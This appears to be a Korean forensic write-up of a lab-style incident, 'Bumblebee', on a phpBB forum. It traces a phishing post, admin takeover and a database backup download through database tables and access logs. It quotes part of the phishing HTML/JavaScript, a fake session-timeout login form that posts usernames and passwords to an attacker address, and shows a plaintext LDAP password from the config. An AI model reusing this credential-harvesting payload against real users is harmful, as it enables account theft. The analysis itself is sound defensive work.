

침해사고 분석보고서

Bumblebee

내부 포럼 피싱 게시물 및 관리자 계정 탈취·DB 반출 분석

분석 대상	phpBB SQLite 데이터베이스 / 웹 접근 로그
주요 시점	2023-04-26 10:53~11:01 UTC
주요 증거	사용자·게시물·관리 로그 / access.log

사건 요약

내부 phpBB 포럼의 SQLite 데이터베이스와 웹 접근 로그를 분석한 결과, 외부 계약자 계정 apoole1이 10.10.0.78에서 생성되고 같은 주소로 악성 게시물(post_id 9)이 작성된 사실을 확인했다. 게시물은 세션 만료 화면을 가장한 로그인 양식을 표시하며 입력된 사용자명과 비밀번호를 http://10.10.0.78/update.php로 전송하도록 작성돼 있다.

정상 관리자는 게시물 생성 26초 뒤 해당 게시물을 열었다. 다음 날 10.10.0.78에서 관리자 인증이 성공했고, 관리 로깅 apoole 계정이 Administrators 그룹에 추가됐다. 같은 세션에서 데이터베이스 백업이 생성됐으며, 2023-04-26 11:01:38 UTC에 34,707바이트의 압축 백업 파일을 내려받은 기록이 확인된다.

핵심 확인 사항

행위자 계정	apoole1 / 10.10.0.78 phpbb_users [E-01]
악성 게시물	post_id 9 로그인 정보를 update.php로 전송 [E-02]
권한 상승	apoole / 10:53:51 UTC Administrators 그룹 추가 [E-04]
정보 반출	11:01:38 UTC / 34,707 bytes SQL gzip 다운로드 [E-05]

판단: 악성 콘텐츠 게시, 관리자 인증, 권한 부여, 백업 다운로드가 동일 IP와 연속된 시각으로 연결된다. 피싱 입력값의 실제 수신 내용과 전체 LDAP 영향 범위는 현재 자료로 확정할 수 없다.

조사 범위와 사건 흐름

phpbb.sqlite3의 사용자·게시물·설정·관리 로그 테이블과 웹 서버 access.log를 상호 대조했다. 데이터베이스의 Unix 시각은 UTC로 변환했고, access.log의 +0100 시각은 한 시간을 차감해 UTC로 정규화했다. 애플리케이션 로그와 HTTP 기록의 행위는 시각과 IP가 일치하는 범위에서 연결했다.

확인된 사건 순서 (UTC)

04-25 12:15:41	apoole1 계정 등록	10.10.0.78 [E-01]
04-25 12:17:22	악성 게시물 작성	post_id 9 [E-02]
04-25 12:17:48	정상 관리자 최초 열람	macOS Chrome 112 [E-03]
04-26 10:53:12	탈취 계정 관리자 인증	LOG_ADMIN_AUTH_SUCCESS [E-04]
04-26 10:53:51	apoole 그룹 추가	Administrators [E-04]
04-26 10:54:30	DB 백업 생성 요청	access.log [E-05]
04-26 10:54:31	DB 백업 생성 기록	LOG_DB_BACKUP [E-04]
04-26 11:01:38	백업 파일 다운로드	200 / 34,707 bytes [E-05]

계정 식별 주의

사용자 테이블에서 외부 계약자로 식별되는 계정은 apoole1(user_id 52)이다. 그러나 LOG_USERS_ADDED의 대상은 apoole(user_id 51)로 기록된다. 두 계정의 관계는 현재 자료만으로 단정하지 않고 식별자를 분리해 기록한다.

계정 생성과 악성 게시물

phpbb_users에서 apoole1 계정의 생성 IP는 10.10.0.78로 기록돼 있다. phpbb_posts에서도 같은 IP와 user_id 52가 작성한 post_id 9가 확인된다. 이 두 테이블은 외부 계약자 계정과 악성 콘텐츠를 동일 출발지로 연결한다.

사용자 및 게시물 레코드

r_type	group_id	user_permissions	user_perm_from	user_ip	user_regdate	username	username_clean
필터	필터		필터	필터	필터	필터	필터
3	5		0	10.255.254.2	1681296980	admin	admin
0	2		0	10.255.254.2	1681298949	test	test
0	2		0	10.10.0.78	1682420899	apoole	apoole
0	2	00000000000v8lmcxg...	0	10.10.0.78	1682424941	apoole1	apoole1
3	5	001ekfzik0zjzik0zg...	0	10.255.254.2	1681298337	phpbb-admin	phpbb-admin
0	2		0	10.255.254.2	1681827495	rsavage001	rsavage001
2	1	00000000000g13ydg8...	0		1681296980	Anonymous	anonymous

그림 1. phpbb_users의 apoole1 계정과 등록 IP 10.10.0.78 [E-01].

테이블(T): phpbb_posts													
post_id	topic_id	forum_id	poster_id	icon_id	poster_ip	post_time	post_reported	enable_bbcode	enable_smilies	enable_magic_url	enable_sig	post_username	
필터	필터	필터	필터	필터	필터	필터	필터	필터	필터	필터	필터	필터	필터
1	1	1	2	2	0	10.255.254.2	1681296980	0	1	1	1	1	Wel
2	2	1	2	50	0	10.255.254.2	1681832510	0	1	1	1	1	Int
3	9	2	2	52	0	10.10.0.78	1682425042	0	1	1	1	1	Hel

그림 2. phpbb_posts의 post_id 9와 poster_ip 10.10.0.78 [E-02].

게시물에 삽입된 내용

```

데이터베이스 셀 수정하기(C)
모드: 문자열
1 <div><style>body { z-index: 100;} .modal {
  position:fixed; top:0; left:0;
  height:100%; width:100%; z-index:101;
  background-color:white;
  opacity:1;} .modal.hidden { visibility:
  hidden;}</style><script
  type="text/javascript">function sethidden(){
  const d = new Date(); d.setTime(d.getTime() +
  (24*60*60*1000)); let expires = "expires="+
  d.toUTCString(); document.cookie =
  "phpbb_token=1;" + expires + ";"; var modal =
  document.getElementById('zbbz1234');
  modal.classList.add("hidden");}document.addEventLi
  stener("DOMContentLoaded", function(event) {
  let cookieexists = false; let name =
  "phpbb token="; let cookies =
  decodeURIComponent(document.cookie); let ca =
  cookies.split(';'); for(let i = 0; i <
  ca.length; i++) { let c =
  
```

그림 3. 게시물 본문에 삽입된 스타일과 JavaScript 일부 [E-02].

공격용 HTML이 게시된 사실은 확인되나, 피해 사용자의 실제 입력·전송 성공은 서버 수신 로그가 필요하다.

분석 결과

전체 화면 모달로 "Session Timeout" 로그인 창을 띄우고, username과 password 필드를 외부 처리 주소로 POST한다. 제출 후 phpbb_token 쿠키를 설정해 창을 숨긴다.

자격증명 수집 동작

post_id 9의 HTML은 포럼 로그인 화면을 훔쳐 내고, 사용자가 입력한 값을 공격자 주소로 전송한다. 브라우저 재현 화면과 form action 속성을 함께 확인해 화면 표시와 전송 동작을 연결했다.

피싱 화면과 전송 목적지

forum.forela.co.uk

Forela internal forum

[Skip to content](#)

 Search [Advanced search](#)

- [Quick links](#)
 - [Unanswered topics](#)
 - [Active topics](#)
 - [Search](#)
- [FAQ](#)
- [Login](#)
- [Register](#)
- [Board index](#)
- [Search](#)

Session Timeout

Your session token has timed out in order to proceed you must login again.

Login

Username:

Password:

☐ Remember me

☐ Hide my online status this session

그림 4. 세션 만료를 가장한 로그인 화면 재현 [E-02].

```

▼ <div id="zbzbz1234" class="modal" onload="shouldshow"> event
  ▼ <div id="wrap" class="wrap">
    <a id="top" class="top-anchor" accesskey="t"></a>
    ▶ <div id="page-header"> ... </div>
    <a id="start_here" class="anchor"></a>
    ▼ <div id="page-body" class="page-body" role="main">
      ▶ <div class="panel"> ... </div>
      ▶ <form id="login" action="http://10.10.0.78/update.php" method="post"
        data-focus="username" target="hiddenframe"> ... </form>
      </div>
      ▶ <div id="page-footer" class="page-footer" role="contentinfo"> ... </div>
    </div>
  </div>
  </div>

```

개발자 도구에서 form action이 http://10.10.0.78/update.php 로 지정되고 method="post", target="hiddenframe"이 설정된 것을 확인한다.

수집 목적지

<http://10.10.0.78/update.php>

입력 필드: username / password

동작 해석

hiddenframe으로 응답 화면을 숨기고 제출 후 24시간 유효한 phpbb_token 쿠키를 설정한다. 쿠키가 존재하면 가짜 로그인 창을 다시 표시하지 않아 반복 노출을 줄인다. 전송 성공과 입력값은 공격자 측 수신 로그가 필요하다.

평문 LDAP 자격증명

177	ldap_base_dn	OU=Forela,DC=forela,DC=local	0
178	ldap_email		0
179	ldap_password	Passw0rd1	0

그림 5. phpbb_config의 ldap_password 값 Passw0rd1 [E-06].

관리자 인증과 권한 상승

phpbb_log에는 10.10.0.78에서 LOG_ADMIN_AUTH_SUCCESS가 기록돼 있고, 이어서 apoole 계정에 대한 LOG_USERS_ADDED와 LOG_DB_BACKUP이 발생한다. 접근 로그의 User-Agent를 구분하면 정상 관리자는 macOS Chrome 112, 탈취 계정 사용 행위는 Windows Firefox 112다.

관리 로그

데이터베이스 구조(D) 데이터 탐색(B) Pragma 수정(R) SQL 실행(E)												
log_id	log_type	user_id	forum_id	topic_id	post_id	reportee_id	log_ip	log_time	log_operation	log_data		
1	49	0	48	0	0	0	10.255.254.2	1682352616	LOG_CLEAR_ADMIN			
2	50	0	48	0	0	0	10.255.254.2	1682353038	LOG_CONFIG_REGISTRATION			
3	51	0	48	0	0	0	10.255.254.2	1682353166	LOG_ACL_ADD_FORUM_LOCAL_F	a:2:{i:0;s:7:"Welcome";i:1;		
4	52	0	48	0	0	0	10.255.254.2	1682420947	LOG_ADMIN_AUTH_SUCCESS			
5	53	3	48	0	0	51	10.255.254.2	1682420960	LOG_USER_NEW_PASSWORD	a:1:{i:0;s:6:"apoole";}		
6	54	0	48	0	0	0	10.255.254.2	1682420962	LOG_USER_USER_UPDATE	a:1:{i:0;s:6:"apoole";}		
7	55	0	48	0	0	0	10.255.254.2	1682420963	LOG_USER_USER_UPDATE	a:1:{i:0;s:6:"apoole";}		
8	56	0	48	0	0	0	10.255.254.2	1682423167	LOG_EXT_ENABLE	a:1:{i:0;s:13:"rokx/doorld		
9	57	0	48	0	0	0	10.255.254.2	1682423251	LOG_CONFIG_AUTH			
10	58	3	48	0	0	51	10.255.254.2	1682423286	LOG_USER_NEW_PASSWORD	a:1:{i:0;s:6:"apoole";}		
11	59	0	48	0	0	0	10.255.254.2	1682423286	LOG_USER_USER_UPDATE	a:1:{i:0;s:6:"apoole";}		
12	60	0	48	0	0	0	10.255.254.2	1682424836	LOG_CONFIG_AUTH			
13	61	0	48	0	0	0	10.10.0.78	1682506392	LOG_ADMIN_AUTH_SUCCESS			
14	62	0	48	0	0	0	10.10.0.78	1682506431	LOG_USERS_ADDED	a:2:{i:0;s:14:"Administrat		
15	63	0	48	0	0	0	10.10.0.78	1682506471	LOG_DB_BACKUP			

그림 6. 관리자 인증 성공, 그룹 추가, DB 백업 기록이 연속으로 나타난다 [E-03, E-04].

Unix 시각 변환

데이터베이스 구조(D) 데이터 탐색(B) Pragma 수정(R) SQL 실행(E)												
SQL 1*												
1	SELECT datetime(1682506392, 'unixepoch');											
	datetime(1682506392, 'unixepoch')											
1	2023-04-26 10:53:12											

확인 시각

관리자 인증
10:53:12 UTC

그룹 추가
10:53:51 UTC

DB 백업 생성
10:54:31 UTC

그림 7. 1682506392를 2023-04-26 10:53:12 UTC로 변환 [E-03].

정상 관리자 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

탈취 계정 사용 행위: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0

데이터베이스 백업 반출

웹 접근 로그에서 10.10.0.78이 관리자 백업 페이지를 반복 조회한 뒤 /store의 gzip 압축 SQL 백업을 직접 내려받은 요청을 확인했다. 응답 상태 200과 전송 바이트 수가 함께 남아 있어 파일 다운로드 완료를 뒷받침한다.

access.log 핵심 레코드

웹 서버 접근 기록

```
10.10.0.78 - - [26/Apr/2023:12:01:38 +0100]
"GET /store/backup_1682506471_
dcsr71p7fyijoyq8.sql.gz HTTP/1.1"
200 34707 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:109.0) Gecko/20100101 Firefox/112.0"
```

그림 8. +0100 시각을 UTC로 변환하면 2023-04-26 11:01:38이다 [E-05].

반출 식별 정보

요청 IP 10.10.0.78

파일 형식 sql.gz

다운로드 시각 2023-04-26 11:01:38 UTC

응답 크기 34,707 bytes

로그의 응답 바이트 수는 웹 서버가 전송한 응답 크기다. 확보된 원본 파일과 해시가 없으므로 백업 내용의 정확한 범위와 로컬 저장 여부는 추가 검증 대상이다.

영향 평가와 대응

영향 판단

확인	악성 게시물 게시, 탈취 계정의 관리자 인증 성공, apoole의 관리자 그룹 편집, SQL 백업 다운로드.
노출	포럼 사용자·설정 데이터 및 평문 LDAP 비밀번호. 관리자 세션 악용 가능성.
미확인	피싱 입력값의 수신 내용, LDAP 자격증명 사용 여부, 다른 내부 시스템으로의 확산.

우선 대응

포럼을 격리하고 웹·DB·인증 로그, 게시물 원문, 백업 파일 및 세션 자료를 보존한다. 관리자·LDAP 자격증명을 즉시 교체하고 모든 활성 세션을 무효화한다. apoole1·apoole 계정의 권한과 활동을 각각 확인하고 악성 게시물을 제거하며 10.10.0.78, update.php, 백업 파일명, 관리자 SID를 기준으로 전사 로그를 대조한다. 평문 비밀번호 저장을 제거하고 관리자 인증에 다중 인증과 접근 통제를 적용한다.

증거 목록

E-01	phpbb_users	apoole1 / 등록 IP
E-02	phpbb_posts	post_id 9 / 피싱 HTML
E-03	access.log	정상 관리자 열람 / User-Agent
E-04	phpbb_log	관리자 인증·그룹 추가·백업
E-05	access.log	SQL 백업 다운로드
E-06	phpbb_config	평문 LDAP 비밀번호